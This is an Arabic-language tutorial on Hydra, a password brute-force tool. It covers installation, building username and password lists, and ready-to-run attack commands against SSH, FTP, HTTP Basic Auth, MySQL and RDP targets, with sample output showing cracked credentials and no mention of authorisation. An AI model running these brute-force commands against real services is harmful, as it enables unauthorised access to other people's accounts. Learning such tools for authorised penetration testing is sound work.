شنو هي Hydra؟
هي أداة مفتوحة المصدر مختصة باختبار كلمات المرور باستخدام طرق Brute-Force أو Dictionary Attack، وتستخدم ضد بروتوكولات وخدمات مختلفة مثل:
- HTTP / HTTPS
- FTP
- SSH
- Telnet
- SMTP
- MySQL
- RDP
- وغيرها هواية...
يعني باختصار: إذا عندك Service بيها تسجيل دخول، تكدر تستعمل Hydra تجرب آلاف كلمات المرور بطريقة آلية لحد ما تحصل Valid Creds.
طريقة التثبيت:
غالبًا تكون مثبتة مسبقًا على توزيعة Kali Linux. بس إذا مو موجودة:
على Kali أو Debian/Ubuntu:
sudo apt update
sudo apt install hydra -y
تتأكد من التثبيت :
hydra -h

طريقة الاستخدام:
نحاول نخلي Hydra تجرب Login على سيرفر SSH:
1. نجهز لستة الـUsers:
nano users.txt
مثلاً نكتب:
root
admin
user
2. نجهز لستة كلمات المرور:
nano passwords.txt
مثلاً نكتب:
123456
password
admin123
او تكدر تستعمل لستات جاهزة من أي مصدر مثلاً من Github
3. نشغل الأداة:
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
-Lلستة المستخدمين.-Pقائمة الباسوردات.ssh://IPهو البروتوكول + الآي بي الخاص بالجهاز الهدف.
النتيجة:
إذا وحدة من الـCreds صحيحة، راح تطبعلك:
[22][ssh] host: 192.168.1.100 login: admin password: admin123
استخدامات ثانية:
| البروتوكول | الأمر |
|---|---|
| FTP | hydra -L users.txt -P pass.txt ftp://target |
| HTTP Basic Auth | hydra -L users.txt -P pass.txt http://target/ |
| MySQL | hydra -L users.txt -P pass.txt mysql://target |
| RDP | hydra -L users.txt -P pass.txt rdp://target |
بعض الـOptions المهمة:
-t: تحدد عدد الثريد (العمليات المتزامنة). مثلًا-t 4-V: يطبع المحاولات وحدة وحدة يعني ينطيك تفاصيل-f: يتوقف أول ما يحصل البيانات الصحيحة-o: يحفظ النتائج بملف
مثال :
hydra -L users.txt -P passwords.txt -t 6 -V -f ssh://192.168.1.100 -o result.txt
